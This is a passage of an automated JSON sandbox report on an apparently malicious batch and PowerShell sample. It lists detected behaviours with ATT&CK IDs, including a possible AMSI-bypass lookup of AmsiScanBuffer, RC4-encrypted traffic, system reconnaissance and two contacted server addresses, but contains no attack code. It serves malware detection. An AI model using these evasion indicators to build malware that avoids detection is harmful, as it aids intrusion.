\"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00001612-00000BC0-1383519314\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\PSHost.134006518631554324.1496.DefaultAppDomain.powershell; Source: \"00000000-00001496-00000C5A-1378143787\")\n Found string - \\\\.\\pipe\\PSHost.134006519018378814.1612.DefaultAppDomain.powershell; Source: \"00000000-00001612-00000C5A-1388346800\")\n Found string - \\\\.\\pipe\\PSHost.134006521260623982.4416.DefaultAppDomain.powershell; Source: \"00000000-00004416-00000C5A-1409731220\")\n Found string - \\\\.\\pipe\\PSHost.134006521338417159.7560.DefaultAppDomain.powershell; Source: \"00000000-00007560-00000C5A-1409865829\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"taskkill.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at E2B10000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"$27","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00001612.00000000.152853.99A10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$28","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001496-00000C2B-1374413434\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001496-00000C2B-1376492325\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001496-00000C2B-1374413434\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001496-00000C2B-1376492325\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00001496-00000C2B-1372801566\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00001496-00000C2B-1372802143\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001496-00000C2B-1377213981\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001496-00000C2B-1377214021\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001612-00000C2B-1391598889\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosErrorNoTeb\" in \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00001496-00000C2B-1376177943\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00001496-00000C2B-1376177983\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001496)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003788)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00003788)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001496)\n \"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001612)\n \"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001496)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"98191069456\" - (UID: 00000000-00001496)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001612)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"707542954704\" - (UID: 00000000-00001612)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004416)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"337165471312\" - (UID: 00000000-00004416)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007560)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003788)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001496)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00001496)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001496)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00001612)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001612)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004416)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001496)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00001496)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001612)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00001612)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00004416)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004416)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007560)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007560)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2e","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00001496-00000C17-1379265597\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00001612-00000C17-1389251046\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00004416-00000C17-1411345816\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00007560-00000C17-1411515342","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$30","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00001496)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00001612)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004416)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007560)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$31","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134006518631554324.1496.DefaultAppDomain.powershell\" - (UID: 00000000-00001496)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134006519018378814.1612.DefaultAppDomain.powershell\" - (UID: 00000000-00001612)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134006521260623982.4416.DefaultAppDomain.powershell\" - (UID: 00000000-00004416)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134006521338417159.7560.DefaultAppDomain.powershell\" - (UID: 00000000-00007560)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$32","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"207.174.26.219:443\"\n \"162.125.4.16:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$33","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$35","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$36","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\Fix.bat\" \"\" (UID: 00000000-00003788)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134006518631554324.1496.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134006519018378814.1612.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134006521260623982.4416.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134006521338417159.7560.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$38","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at B1FE0000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at C3460000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at DFFB0000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at DFFB0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at EDE50000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at ED4F0000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at EDE50000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at B35A0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at EEE80000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at EEE80000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at EEE80000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a0000000000204220eefc7f0000@ntdll.dll\"\n \"2200230000000000404220eefc7f0000@ntdll.dll\"","origin":"API 